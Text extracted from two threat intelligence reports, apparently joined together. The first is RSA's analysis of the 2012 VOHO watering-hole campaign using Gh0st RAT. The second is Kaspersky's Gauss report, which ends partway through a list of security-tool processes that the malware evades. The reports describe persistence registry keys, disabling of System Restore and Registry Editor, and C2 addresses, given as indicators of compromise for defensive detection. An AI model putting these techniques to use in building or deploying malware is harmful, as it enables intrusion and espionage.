+HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run +HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run +By using the HKCU and HKU registry hives, the malware is targeting users that are currently +logged into the machine when the initial infection began instead of the machine itself. This +technique is especially useful when the target uses roaming profiles. +The malware adds the value +SymantecUpdate + to these keys and pass itself off as an update +from Symantec. This is a simple technique that is designed to fool the untrained eye. To +reinforce this, the malware employs a certain level of obfuscation to hide the data, which is the +location and filename of the malware, by using HEX digits to represent each string characters +instead of the more common ASCII. +In this case, instead of the data being: +C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\VPTray.exe +It is represented in the registry as: +43:3a:5c:44:4f:43:55:4d:45:7e:31:5c:41:44:4d:49:4e:49:7e:31:5c:4c:4f:43:41:4c:53:7e:31 +:5c:54:65:6d:70:5c:56:50:54:72:61:79:2e:65:78:65:00. +This installation technique of dropping an exact copy of itself tells us that the malware can +survive and install itself without the aid of a dropper or a downloader. It has the capability to +check whether it is running in the appropriate location and if it is properly installed on the +system. If not, it proceeds with the installation process. This technique is advantageous if the +malware has not been removed properly. A surviving main component can recreate what was +removed including the necessary registry changes needed by the malware. +Aside from dropping VPTray.EXE it also drops the binary file UP.BAK in the same +Local +Settings\Temp + folder. This is the backdoor component of the malware. Once all of these are +accomplished, the original malware passes control to VPTray.EXE and then deletes itself to +remove any traces of its existence. +Figure 9: Memory dump of the +malware containing the strings of +the filenames of the dropped files +and the registry value. +Once the malware is active in the system it utilizes certain protective mechanisms such as the +following: +Registry Editor is disabled +Windows System Restore is disabled +Disabling the registry editor prevents the auditing and review of registry entries, especially +those that are commonly utilized by malware for persistency while the disabling of Windows +System Restore prevents the user from reverting the system to a known good state before +infection occurred. The malware also wipes out all the restore points that are present in the +system before infection. +The main component, VPTray.EXE, is the one that communicates directly to the botnet +command and control. It connects to IP 134.255.242.47 via HTTPS. It remains active in the +system listening constantly for instructions while keeping the other components in check. +Figure 10: VPTray.exe connecting +to IP 134.255.242.47. +The following symptoms can be observed in an infected system: +Presence of VPTray.EXE and UP.BAK in the User +Local Settings\Temp + folder. An +infected Administrator account in Windows XP will have these files in C:\DOCUMENTS +AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\Temp\ +Presence of the registry value +SymantecUpdate + with data in HEX values +representing the file and location of VPTray.EXE in the following registry keys: +HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run +HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run +Presence of running process VPTray.EXE +Unable to use the Registry Editor +Unable to use Windows System Restore +Fake Symantec Update + Variant 2 +Dropper +acc583fc596d38626d37cbf6de8a01cb +VPTray.EXE +b894efe4173f90479fddff455daf6ff3 +Unlike the first variant, this one is not compressed. Both the dropper and the dropped file +(VPTray.EXE) are not compressed. Other difference it has with the first variant is the location +of the dropped file and the way persistency is achieved. But its modus operandi remains the +same, and that is to pretend to be a Symantec Live Update. +When the dropper is executed, it drops VPTray.EXE in C:\Program Files\Symantec\LiveUpdate\. +Having these file in a Symantec folder in Program Files is already a red flag especially if the +compromised machine does not have a Symantec product installed. +It then adds the registry key below to achieve persistency. +Key:HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\run +Value: Symantec LiveUpdate +Data: C:\Program Files\Symantec\LiveUpdate\VPTray.exe +Obviously, the way it achieves persistency is totally different from variant 1. +Variant 2 used a different registry hive +Variant 2 +s registry value is SymantecLiveUpdate compared to SymantecUpdate in +variant 1 +The registry data is in ASCII and not in HEX. This is fine because the malware file is +located in a created Symantec folder in Program Files. +Figure 11: Memory Dump of the +Malware Containing the Strings of the +Filenames +To ensure its survival, the Windows System Restore is disabled. But unlike the first variant, +this one did not disable the registry editor due to the fact that the added registry value and +data appears to be legitimate because it utilizes a location of the file that appears to be a +normal location for a Symantec file. +To communicate to the attacker the main component, VPTray.EXE, connects to the domain +usc-data.suroot.com. +The following symptoms can be observed in an infected system: +Presence of VPTray.EXE in C:\Program Files\Symantec\LiveUpdate\ +Presence of the registry value +SymantecLiveUpdate + with the data +C:\Program +Files\Symantec\LiveUpdate\VPTray.EXE +HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\run +Presence of running process VPTray.EXE +Unable to use Windows System Restore +** As of this writing, the main component, VPTray.EXE, is not detected in VirusTotal using its +hash search function. +Fake Microsoft Update +Svohost.EXE +2fe340fe2574ae540bd98bd9af8ec67d +Similar to the Fake Symantec Update, this malware comes in a UPX compressed binary file. It +passes itself off as a Microsoft update but nothing can be further from the truth. +When the malware is first executed, it installs itself in the system similar to the method +employed by the Fake Symantec Update. The only difference is the file that is dropped and +registry value and data it uses. The file is dropped in the current user +Local Settings\Temp +folder and is named SVOHOST.EXE, which is an exact copy of the malware. This technique of +naming a file almost similar to a legitimate file (SVCHOST.EXE) is known as homographic +obfuscation. But in this case, the less elegant method is used, and that is to simply replace one +letter with another. To autostart, the malware utilized the same registry keys as the Fake +Symantec Update. +HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run +HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run +By using these registry hives, the malware is able to target users that are currently logged into +the machine even those that are not currently active in the system (think of Switch User mode). +The malware adds the value +Microsoft Update + to these keys. A common technique, a very +typical malware deception, to fool users into believing it is something that it is not. Aside from +this, it also utilizes HEX digits to obfuscate the registry data, which represents the location and +the filename of the malware. +So instead of the data being C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svohost.exe for an +infected Administrator account in Windows XP, it appears as +43:3a:5c:44:4f:43:55:4d:45:7e:31:5c:41:44:4d:49:4e:49:7e:31:5c:4c:4f:43:41:4c:53:7e:31 +:5c:54:65:6d:70:5c:73:76:6f:68:6f:73:74:2e:65:78:65:00. +Once all the malware installation procedure is done, the original malware passes control to +SVOHOST.EXE and deletes itself to hide any traces of its existence. +Once the malware is active in the system it utilizes certain protective mechanisms such as the +following: +Registry Editor is disabled +Windows System Restore is disabled +Disabling the registry editor prevents the auditing and review of registry entries, especially +those that are commonly utilized by malware for persistency while the disabling of Windows +System Restore prevents the user from reverting the system to a known good state before +infection occurred. The malware also wipes out all the restore points that are present in the +system before infection. To communicate to the attacker, the malware connects to IP +58.64.155.59. +Figure 12: SVOHOST.EXE +connecting to 58.64.155.59. +The following symptoms can be observed in an infected system. +Presence of SVOHOST.EXE in the User +Local Settings\Temp + folder. An infected +Administrator account in Windows XP will have these files in C:\DOCUMENTS AND +SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\Temp\ +Presence of the registry value +Microsoft Update + with data in HEX values representing +the file and location of SVOHOST.EXE in the following registry keys: +HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run +HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run +Presence of running process SVOHOST.EXE +Unable to use the Registry Editor +Unable to use Windows System Restore +VOHO Campaign Analysis +RSA FirstWatch research examined HTTP logs covering the June/July 2012 timeframe for the +exploit chain in this example. This analysis, combined with a detailed understanding of the +exploit mechanism, allowed the team to get a better understanding of the scope of +compromise of this campaign. +Based on our analysis, we can determine that this attack was broken up into two phases. +Phase 1 +We observed referral traffic begin on June 25, 2012 to the exploit site. However, according to +the server logs, actual exploitation of Internet Explorer began on July 9, 2012 at approximately +7:56 AM EST when the first successful exploits of visiting browsers began to hit the exploit +code. We observed some movement of exploit code across directories on the +*******curling.com web server during the investigation, so this gap was likely caused by the +attacker setting up a new campaign. Phase 1 exploit activity continued over the course of two +days, with continuous access, until July 10th, when activity stopped at 3:43 pm EST. +Phase 2 +Phase 2, which consisted of the above mentioned attack on the Sun Java client, began on July +16, 2012, when the first successful exploits of visiting java clients began to hit the exploit +server at approximately 7:46am EST. This exploit activity continued over the course of a few +days, and ceased on July 18, 2012, at approximately 9:12 am EST, which was when the server +administrator of *******curling.com brought the server down for compromise remediation. +Overall Statistics +Based on our analysis, a total of 32,160 unique hosts, representing 731 unique global +organizations, were redirected from compromised web servers injected with the redirect iframe +to the exploit server. Of these redirects, 3,934 hosts were seen to download the exploit CAB +and JAR files (indicating a successful exploit/compromise of the visiting host). This gives a +success + statistic of 12%, which based on our previous understanding of exploit campaigns, +indicates a very successful campaign. +Figure 13: Success of Compromise +Total Exposure and Compromise +35,000 +30,000 +25,000 +20,000 +15,000 +10,000 +5,000 +Total Exposure by Redirect +Total Compromises +Of the listed sites used to redirect hosts to the exploit site, the top four redirecting web servers +are as follows: +Figure 14: Top Four Redirect Sites +With success rates per exploit type being split pretty much down the middle: +Exploit Breakdown +Figure 15: Exploit Breakdown +CAB Downloads +JAR Downloads +Exploited Organization Breakdown +Of the hosts above that downloaded the exploit CAB and JAR files, the RSA FirstWatch team +further examined compromised organizations by identifying the visiting hosts and crossreferencing the IP addresses to the Autonomous Systems that they belonged to. +CAVEAT: Because we didn +t have observation of the compromised host themselves, nor +command and control traffic, our understanding of +compromise + is strictly-related to observed +HTTP traffic. This analysis would not take into account host or perimeter-based blocking +systems at affected organizations. +With this data we then grouped those autonomous systems into the following industries: +Corporate + These systems were identified as being members of typical corporate +networks, which included enterprises and business, as well as +business-class +space in large ISP organizations. +Defense Industrial Base (DIB) + These systems were systems in ASNs that were +Local Government + These systems were systems in networks identified as +known to be involved with DIB consulting, systems and process. +government systems in various cities, counties and towns. +Internet Service Provider (ISP) - These systems were hosts in networks that were +identified as common internet service provider space. This particular classification +accounts largely for consumer-based internet users, but may also include corporate +assets that aren +t immediately identifiable by ASN examination. +Federal Government + These systems are hosts in U.S. Government IP space or +Washington DC area local government space. This would include Federal agencies +and support organizations. +Educational Institutions (EDU) + These systems were hosts in networks identified +as educational institutions. Much like ISP traffic, this traffic is difficult to breakdown +into more specific identifying information. +Financial Services Organizations + These systems were systems in identifiable +Bank, Credit Union, Trading and other organizations related to financial services. +Healthcare - These systems were hosts in identifiable healthcare industry space. +This would include hospital, pharmaceutical, patient services and clinic space. +Other Government + These systems were national government systems identified in +foreign IP space or global government organizations (example: United Nations) +Utilities / SCADA - These systems were hosts identified in organizations that supply +or support utility or SCADA-related services such as Energy and water services. +Figure 16: Compromises by Industry +Compromises by Industry +UTILITIES / SCADA +OTHER GOVT +LOCAL GOVT +HEALTHCARE +FINANCIAL +FED GOVT +CORPORATE +1,000 +1,500 +2,000 +2,500 +By removing ISP traffic, we are better able to examine the other industries: +Figure 17: Compromise by Industry +without ISP +Compromise By Industry (without ISP) +UTILITIES / SCADA +OTHER GOVT +LOCAL GOVT +HEALTHCARE +FINANCIAL +FED GOVT +CORPORATE +Linked Campaigns +Wsdhealthy.com xxixii +Based on our understanding of this campaign and TTPs (tools, techniques and procedures) +used, we believe the following malware samples observed in January 2012 are related and +belong to the same threat actors. +03db29c71b0031af08081f5e2f7dcdf2 +644161889f0f60885b2a0eec12038b66 +These samples communicated with C2 at 58.64.143.245. This IP address has resolved to the +following DNS names in the past: +usc-data.suroot.com +usa-mail.scieron.com +dll.freshdns.org +Delivery of these samples appeared to be a similar attack vector, that being a hacked server +that was redirected to by iframe insertion: +www.wsdhealthy.com +Using the following URLs: +www.wsdhealthy.com/userfiles/file/Applet19.html +www.wsdhealthy.com/userfiles/file/Applet19.exe +www.wsdhealthy.com/userfiles/file/Applet.html +www.wsdhealthy.com/userfiles/file/Applet.jar +www.wsdhealthy.com/userfiles/file/Applet.exe +This file structure indicates a similar java exploitation, and while we didn +t have direct +observation of this campaign, open source intelligence indicates a possible exploit of: +2011-3544 - Unspecified vulnerability in the Java Runtime Environment +Additionally, the Gh0st RAT variant used in this campaign matched identifiers used in the +VOHO campaign. +Detection and Indicators of Compromise +Network +For network detection of this threat, users should look for historic traffic to the following IPs +and Domains: +IP Addresses +58.64.155.59 (gh0st RAT C2) +58.64.155.57 (gh0st RAT C2) +58.64.143.245 (gh0st RAT C2) +Domains +wsdhealthy.com (legitimate site hosting exploit code/malware) +*******curling.com (legitimate site hosting exploit code/malware) +usc-data.suroot.com (gh0st RAT C2) +usa-mail.scieron.com (gh0st RAT C2) +dll.freshdns.org (gh0st RAT C2) +Gh0st RAT +Generically, gh0st RAT communication using the unmodified source code can be detected by +looking for non-RFC compliant network traffic on allowed paths, which contain the string +Gh0st + in the first view five bytes of the packet payload. Because this is a commonly used +tactic to detect Gh0st on the network, attackers often change this string to avoid detection. In +the case of the VOHO compromise, this indicator is +HTTPS +Known Malicious MD5 Hashes +03db29c71b0031af08081f5e2f7dcdf2 +644161889f0f60885b2a0eec12038b66 +e6b43c299a9a1f5abd9be2b729e54577 +2fe340fe2574ae540bd98bd9af8ec67d +RSA NetWitness Indicators +ip.dst = 58.64.155.59,58.64.155.57,58.64.143.245,64.26.174.74 || alias.host = +www.wsdhealthy.com ,usc-data.suroot.com,usa-mail.scieron.com,dll.freshdns.org +Additionally, the following feeds and parsers from RSA NetWitness Live service can be used for +additional Gh0st RAT detection. +Gh0st parser +APT-domains feed +APT-IPs feed +Conclusions +RSA FirstWatch research has revealed an exploit and compromise campaign with connections +over the past 8 months. The collected data suggests that this attack was orchestrated and +carried out by threat actors commonly referred to in the industry as +Use of the +xKungFoo + script kit for victim redirection +Use of attack methodology that matches motives seen in past APT attacks + most +notably such as those seen in the Aurora and GhostNet campaigns +Use of the +gh0st + remote access tool (RAT) in this and previous campaigns +Use of command and control infrastructure in the Hong Kong area in this and previous +campaigns +Gross impact and on almost 900 unique organizations +Targets of Interest and Opportunity being geographically disperse in addition to +industrial & vertical diverse with a heavy concentration in the following areas: + International finance & banking + Technology + Government + municipal, state, federal and international + Utilities & energy + Educational + Defense Industrial Base (DIB) + Corporate Enterprise +The possibility exists that this was intentional misdirection on the part of the attackers in +regards to their origin. However, the RSA FirstWatch team believes the data supports our +analysis and this is further evidence of APT intrusion into United States government and +corporate assets. +Disclaimer +RSA Security LLC ( +) believes the information in this publication is accurate as of +its publication date. RSA disclaims any obligation to update after the date hereof. The +information is subject to update without notice. The analysis may include technical or +other inaccuracies and/or typographical errors. +THE INFORMATION IN THIS PUBLICATION IS PROVIDED TO FOR INFORMATIONAL +PURPOSES ONLY, IS PROVIDED "AS IS," AND SHALL NOT BE CONSIDERED PRODUCT +DOCUMENTATION OR SPECIFICATIONS UNDER THE TERMS OF ANY LICENSE OR +SIMILAR AGREEMENT. RSA MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY +KIND WITH RESPECT TO THE INFORMATION IN THIS PUBLICATION, AND SPECIFICALLY +DISCLAIMS IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A +PARTICULAR PURPOSE. +http://www.wired.com/threatlevel/2010/01/operation-aurora/ +http://www.scribd.com/doc/13731776/Tracking-GhostNet-Investigating-a-Cyber-EspionageNetwork +http://googleonlinesecurity.blogspot.com/2012/06/security-warnings-for-suspected-state.html +http://contagiodump.blogspot.com/2011/02/targeted-attacks-against-personal.html +http://thediplomat.com/flashpoints-blog/2011/06/07/china-cyber-attack-fallacies/ +http://www.yunsec.net/a/school/bdzs/fmuma/2010/0602/4175.html +http://www.yunsec.net/a/school/bdzs/fmuma/2010/0602/4175.html +viii +http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmailaccounts/12462 +http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf +http://www.malwaredomainlist.com/mdl.php?search=wsdhealthy.com&colsearch=All&quantity=50 +http://www.mywot.com/en/scorecard/wsdhealthy.com +http://www.malwaregroup.com/domains/details/wsdhealthy.com +ABOUT RSA +RSA, The Security Division of EMC, is the premier provider of security, risk +and compliance management solutions for business acceleration. RSA helps +the world +s leading organizations succeed by solving their most complex +and sensitive security challenges. These challenges include managing +organizational risk, safeguarding mobile access and collaboration, proving +compliance, and securing virtual and cloud environments. +Combining business-critical controls in identity assurance, encryption & +key management, SIEM, Data Loss Prevention and Fraud Protection with +industry leading eGRC capabilities and robust consulting services, RSA +brings visibility and trust to millions of user identities, the transactions that +they perform and the data that is generated. For more information, please +visit www.RSA.com and www.EMC.com. +EMC2, EMC, RSA, FirstWatch, NetWitness and the RSA logo are registered trademarks or trademarks of +EMC Corporation in the United States and other countries. All other trademarks used herein are the +property of their respective owners. +2012 EMC Corporation. All rights reserved. Published in the USA. +www.emc.com/rsa +Gauss: +Abnormal Distribution +Kaspersky Lab Global Research and Analysis Team +Contents +Introduction +Executive Summary +Infection stats +Operating System Statistics +Architecture +Comparison with Flame +Wmiqry32/Wmihlp32.dll aka ShellHW +Installation +Operation +Dskapi.ocx +USB Payload +thumbs.db file +Smdk.ocx +McDmn.ocx +Lanhlp32.ocx +Devwiz.ocx +Winshell.ocx +Windig.ocx +Gauss C&C Information +Gauss C2 Domains Overview: +DNS Balancing +Timeline +Files list +Conclusion +Introduction +While analyzing the Flame malware that we detected in May 2012, Kaspersky Lab experts identified some distinguishing +features of Flame +s modules. Based on those features, we discovered that in 2009, the first variant of the Stuxnet worm +included a module that was created based on the Flame platform. This indicates that there was some form of collaboration +between the groups that developed the Flame and Tilded (Stuxnet/Duqu) platforms. +Based on the results of a detailed analysis of Flame, we continued to actively search for new, unknown components. A more +in-depth analysis conducted in June 2012 resulted in the discovery of a new, previously unknown malware platform that +uses a modular structure resembling that of Flame, a similar code base and system for communicating to C&C servers, as +well as numerous other similarities to Flame. +In our opinion, all of this clearly indicates that the new platform which we discovered and which we called +Gauss, +another example of a cyber-espionage toolkit based on the Flame platform. +Gauss is a project developed in 2011-2012 along the same lines as the Flame project. The malware has been actively +distributed in the Middle East for at least the past 10 months. The largest number of Gauss infections has been recorded in +Lebanon, in contrast to Flame, which spread primarily in Iran. +Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal +credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to +intercept data required to work with several Lebanese banks + for instance, Bank of Beirut, Byblos Bank, and Fransabank. +Curiously, several Gauss modules are named after famous mathematicians. The platform includes modules that go by the +names +Gauss +Lagrange +Godel +Tailor +Kurt + (in an apparent reference to Godel). The Gauss module is responsible +for collecting the most critical information, which is why we decided to name the entire toolkit after it. +Gauss is a much more widespread threat than Flame. However, we have found no self-replication functionality in the +modules that we have seen to date, which leaves open the question of its original attack vector. +Executive Summary +The first known Gauss infections date back to September-October 2011. During that period, the Gauss authors modified +different modules multiple times. They also changed command server addresses. In the middle of July 2012, when we had +already discovered Gauss and were studying it, the command servers went offline. +Gauss is designed to collect information and send the data collected to its command-and-control servers. Information is +collected using various modules, each of which has its own unique functionality: + Injecting its own modules into different browsers in order to intercept user sessions and steal passwords, +cookies and browser history. + Collecting information about the computer +s network connections. + Collecting information about processes and folders. + Collecting information about BIOS, CMOS RAM. + Collecting information about local, network and removable drives. + Infecting USB drives with a spy module in order to steal information from other computers. + Installing the custom Palida Narrow font (purpose unknown). + Ensuring the entire toolkit +s loading and operation. + Interacting with the command and control server, sending the information collected to it, +downloading additional modules. +The spy module that works on USB drives uses an .LNK exploit for the CVE-2010-2568 (http://web.nvd.nist.gov/view/ +vuln/detail?vulnId=CVE-2010-2568) vulnerability. The exploit is similar to the one used in the Stuxnet worm, but it is +more effective. The module masks the Trojan +s files on the USB drive without using a driver. It does not infect the system: +information is extracted from it using a spy module (32- or 64-bit) and saved on the USB drive. +Infection stats +We began our investigation into Gauss in early June 2012. Based on data obtained through the Kaspersky Security Network, +we noticed right away that the Trojan appeared to be widely distributed in three particular countries in the Middle East. +Further observation later confirmed this three-country concentration. As of 31 July 2012, we +ve counted around 2500 +unique PCs on which files from the Gauss collection have been found. +Most infected countries +The highest number of infections is recorded in Lebanon, with more than 1600 computers affected. The Gauss code +(winshell.ocx) contains direct commands to intercept data required to work with Lebanese banks + including the Bank of +Beirut, Byblos Bank and Fransabank. +In Israel and the Palestinian Territory, 750 incidents have been recorded. +Unique users +Lebanon +1660 +Israel +Palestinian Territory +United States +United Arab Emirates +Germany +Egypt +Qatar +Jordan +Saudi Arabia +Syria +Top 10 infected countries +As can be seen in the above table, with the exceptions of the USA and Germany, all incidents took place in the Middle East. +However, we believe that in the majority of cases linked to the USA and Germany the affected users were actually in the +Middle East too - using VPNs (or the Tor anonymity network). +In all, we +ve recorded incidents in 25 countries around the world; however, in all the countries outside the top 10 only one or +two incidents have been recorded: +Total infected users +Regarding the spreading mechanism used by Gauss, the obtained data leave us with more questions unanswered than +solved. The overall number of infections (around 2500) that we +ve detected could in reality just be a small portion of tens of +thousands of infections, since our statistics only cover users of Kaspersky Lab products. +When we compare the number of Gauss infections with those of other programs discovered earlier that have either common +components or structures, we get the following figures: +Name +Incidents (KL stats) +Incidents (approx.) +Stuxnet +More than 100 000 +More than 300 000 +Gauss +~ 2500 +Flame +~ 700 +~5000-6000 +Duqu +~50-60 +Gauss has been spreading in the region for at least 10 months, in the course of which it has infected thousands of systems. +On one hand, this is an uncharacteristically high number for targeted attacks similar to Duqu (it +s possible that such a high +number of incidents is due to the presence of a worm in one of the Gauss modules that we still don +t know about). However, +the infections have been predominantly within the boundaries of a rather small geographical region. If the malware had the +ability to spread indiscriminately + for example, on USB sticks as was the case with Stuxnet + infections would have been +detected in much greater numbers in other countries. +Operating System Statistics +Gauss was designed for 32-bit versions of the Windows operating system. Some of the modules do not work under Windows +7 SP1. +% from total +Windows 7 +34.87 +XP Professional SP2 +26.40 +XP Professional SP3 +17.92 +Windows 7 SP1 +10.77 +Windows 7 Home +2.15 +Vista Home SP1 +1.71 +Vista Home +1.22 +Windows 7 Home SP1 +0.88 +Vista Home SP2 +0.83 +Vista +0.64 +Vista SP2 +0.39 +XP Home Edition +0.39 +Vista SP1 +0.34 +Other +1.47 +There is a separate spy module that operates on USB drives (see description of dskapi.ocx) and is designed to collect +information from 64-bit systems. +Architecture +Gauss is a modular system. The number and combination of modules may change from one infected system to another. In +the course of our research, we discovered the following modules: +Module name +Location +Description +Cosmos +%system32%\devwiz.ocx +Collects information about CMOS, BIOS +Kurt, Godel +%system32%\dskapi.ocx +Infects USB drives with data-stealing module +Tailor +%system32%\lanhlp32.ocx +Collects information about network interfaces +McDomain +%system32%\mcdmn.ocx +Collects information about user +s domain +UsbDir +%system32%\smdk.ocx +Collects information about computer +s drives +Lagrange +%system32%\windig.ocx +Installs a custom +Palida Narrow + font +Gauss +%system32%\winshell.ocx +Installs browser plugins that collect passwords and cookies +ShellHW +%system32%\wbem\wmiqry32.ocx +%system32%\wbem\wmihlp32.ocx +Main loader and communication module +The configuration of a specific combination of modules for each system is described in a special registry key. This technique, +as well as the configuration structure itself, is similar to that used in Stuxnet/Duqu (storing of the configuration in the +Windows registry) and Flame (configuration structure). Flame stores its configuration in the main module (mssecmgr.ocx). +We created a special detection routine which helped us to discover various Gauss configurations based on registry +settings on infected machines. We detected about 1700 such configurations in total, which revealed a picture of modules +propagation: +Module +Number of PC with the module +(defined in config) +UsbDir +1655 +Godel +1220 +Gauss +Gauss_1.1 +Kurt (aka Godel) +Gauss 1.0.8 +Tailor +McDomain 1.2 +Cosmos +Lagrange +You can see three main modules, which are used in most cases + Gauss, Godel and UsbDir. +Some examples of different configs: +Cosmos +Gauss +McDomain 1.2 +UsbDir +Cosmos +Gauss 1.0.8 +Godel +McDomain 1.2 +Tailor +UsbDir +Godel +Gauss 1.0.8 +Godel +Lagrange +Tailor +UsdDir +Gauss +Kurt +UsbDir +As mentioned above, we have been unable to discover the original infection vector and the dropper file that installs Gauss in +the system. In all the systems we have studied, we dealt with a set of modules that was already installed. It is possible that +during initial infection, only the ShellHW component is installed, which then installs the other modules. +ShellHW (file name +wmiqry32.dll +wmihlp32.dll +) is the main component of the malware which ensures that all other +Gauss modules are loaded when the malware starts and operate correctly. +Comparison with Flame +As we mentioned above, there are significant similarities in code and architecture between Gauss and Flame. In fact, it is +largely due to these similarities that Gauss was discovered. We created the following table for a clearer understanding of +these facts and proof of +kinship + between the two attack platforms: +Feature +Flame +Gauss +Modular architecture +Using kernel drivers +.OCX files extensions +Configuration settings +Predefined in main body +Stored in registry +DLL injections +Visual C++ +Encryption methods +Using USB as storage +Yes (hub001.dat) +Yes (.thumbs.db) +Embedded LUA scripting +Browser history/cookies stealer +Yes (soapr32/nteps32) +Yes (winshell) +CVE2010-2568 (.LNK exploit) +Yes (target.lnk) +Yes (target.lnk) +C&C communication +https +https +Log files/stolen data stored in %temp% +Zlib compression of collected data +In addition to the features listed above, there are considerable similarities in the operation of the Flame and Gauss C&C +servers. The relevant analysis is provided in the C&C Communication section. +There are more similarities in the code and data of the modules: + C++ runtime type information (RTTI) structures are encoded to hide the names of the standard library classes. The +same encoded names can be found in both Flame and Gauss modules, i.e. the first RTTI structure contains name +AVnxsys_uwip + that most likely belongs to the +AVtype_info + class. +rpcns4.ocx Flame module: +Flask +winshell.ocx Gauss module: +Gauss + Most of Flame and Gauss modules contain dozens of object initialization functions that construct string objects +from encrypted data. The layout of these functions is almost identical. +mssecmgr.ocx +Flame main module +wmiqry32.dll, wmihlp32.dll +Gauss main module + String decryption routines ( +GetDecryptedStrings + used in initialization functions) are very similar, although not +identical, because the layout of the structures holding encrypted strings was changed. +mssecmgr.ocx +Flame main module +wmiqry32.dll, wmihlp32.dll +Gauss main module +Wmiqry32/Wmihlp32.dll aka ShellHW +Installed by: Unknown dropper +Operates in two modes: installation and normal operation. +File names +%system32%\wbem\wmiqry32.dll +%system32%\wbem\wmihlp32.dll +Some known MD5 +C3B8AD4ECA93114947C777B19D3C6059 +08D7DDB11E16B86544E0C3E677A60E10 +055AE6B8070DF0B3521D78E1B8D2FCE4 +FA54A8D31E1434539FBB9A412F4D32FF +01567CA73862056304BB87CBF797B899 +23D956C297C67D94F591FCB574D9325F +Image Size +258 048 bytes +Number of resources +Resources +121, 131, 141, 151, 161, 171, 181 +Date of compilation +Jun 1 2011 +Jul 16 2011 +Jul 18 2011 +Sep 28 2011 +Oct 20 2011 +Related files +%temp%\~shw.tmp +%temp%\~stm.tmp +Installation +The module checks if it was loaded by +lsass.exe + process and, if true, proceeds with the installation. +It writes itself in files: %system32%\wbem\wmiqry32.dll, %system32%\wbem\wmihlp32.dll and modifies the +system registry to be loaded instead of %system32%\wbem\wbemsvc.dll file. +To achieve this, it writes the following registry value: +[HKCR\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32] +Default = %system32%\wbem\wmihlp32.dll +Operation +The module is automatically loaded into processes that use wbemsvc.dll. When loaded in +svchost.exe + that was started +with +-k netsvc + parameter, it starts its main thread. +The module creates +ShellHWStop +Global\ShellHWDetectionEvent + events, mutex +ShellHWDetectionMutex +The main thread exits if the following processes were found at its start: +LMon.exe +sagui.exe +RDTask.exe +kpf4gui.exe +ALsvc.exe +pxagent.exe +fsma32.exe +licwiz.exe +SavService.exe +prevxcsi.exe +alertwall.exe +livehelp.exe +SAVAdminService.exe +csi-eui.exe +mpf.exe +lookout.exe +savprogress.exe +lpfw.exe +mpfcm.exe +emlproui.exe +savmain.exe +outpost.exe +fameh32.exe +emlproxy.exe +savcleanup.exe +filemon.exe +AntiHook.exe +endtaskpro.exe +savcli.exe +procmon.exe +xfilter.exe +netguardlite.exe +backgroundscanclient.exe +Sniffer.exe +scfservice.exe +oasclnt.exe +sdcservice.exe +acs.exe +scfmanager.exe +omnitray.exe +sdcdevconx.exe +aupdrun.exe +spywareterminatorshield.exe +onlinent.exe +sdcdevconIA.exe +sppfw.exe +spywat~1.exe +opf.exe +sdcdevcon.exe +spfirewallsvc.exe +ssupdate.exe +pctavsvc.exe +configuresav.exe +fwsrv.exe +terminet.exe +pctav.exe +alupdate.exe +opfsvc.exe +tscutynt.exe +pcviper.exe +InstLsp.exe +uwcdsvr.exe +umxtray.exe +persfw.exe +CMain.exe +dfw.exe +updclient.exe +pgaccount.exe +CavAUD.exe +ipatrol.exe +webwall.exe +privatefirewall3.exe +CavEmSrv.exe +pcipprev.exe +winroute.exe +protect.exe +Cavmr.exe +prifw.exe +apvxdwin.exe +rtt_crc_service.exe +Cavvl.exe +tzpfw.exe +as3pf.exe +schedulerdaemon.exe +CavApp.exe +privatefirewall3.exe +avas.exe +sdtrayapp.exe +CavCons.exe +pfft.exe +avcom.exe +siteadv.exe +CavMud.exe +armorwall.exe +avkproxy.exe +sndsrvc.exe +CavUMAS.exe +app_firewall.exe +avkservice.exe +snsmcon.exe +UUpd.exe +blackd.exe +avktray.exe +snsupd.exe +cavasm.exe +blackice.exe +avkwctrl.exe +procguard.exe +CavSub.exe +umxagent.exe +avmgma.exe +DCSUserProt.exe +CavUserUpd.exe +kpf4ss.exe +avtask.exe +avkwctl.exe +CavQ.exe +tppfdmn.exe +aws.exe +firewall.exe +Cavoar.exe +blinksvc.exe +bgctl.exe +THGuard.exe +CEmRep.exe +sp_rsser.exe +bgnt.exe +spybotsd.exe +OnAccessInstaller.exe +op_mon.exe +bootsafe.exe +xauth_service.exe +SoftAct.exe +cmdagent.exe +bullguard.exe +xfilter.exe +CavSn.exe +VCATCH.EXE +cdas2.exe +zlh.exe +Packetizer.exe +SpyHunter3.exe +cmgrdian.exe +adoronsfirewall.exe +Packetyzer.exe +wwasher.exe +configmgr.exe +scfservice.exe +zanda.exe +authfw.exe +cpd.exe +scfmanager.exe +zerospywarele.exe +dvpapi.exe +espwatch.exe +dltray.exe +zerospywarelite_installer.exe +clamd.exe +fgui.exe +dlservice.exe +Wireshark.exe +sab_wab.exe +filedeleter.exe +ashwebsv.exe +tshark.exe +SUPERAntiSpyware.exe +firewall.exe +ashdisp.exe +rawshark.exe +vdtask.exe +firewall2004.exe +ashmaisv.exe +Ethereal.exe +asr.exe +firewallgui.exe +ashserv.exe +Tethereal.exe +NetguardLite.exe +gateway.exe +aswupdsv.exe +Windump.exe +nstzerospywarelite.exe +hpf_.exe +avastui.exe +Tcpdump.exe +cdinstx.exe +iface.exe +avastsvc.exe +Netcap.exe +cdas17.exe +invent.exe +Netmon.exe 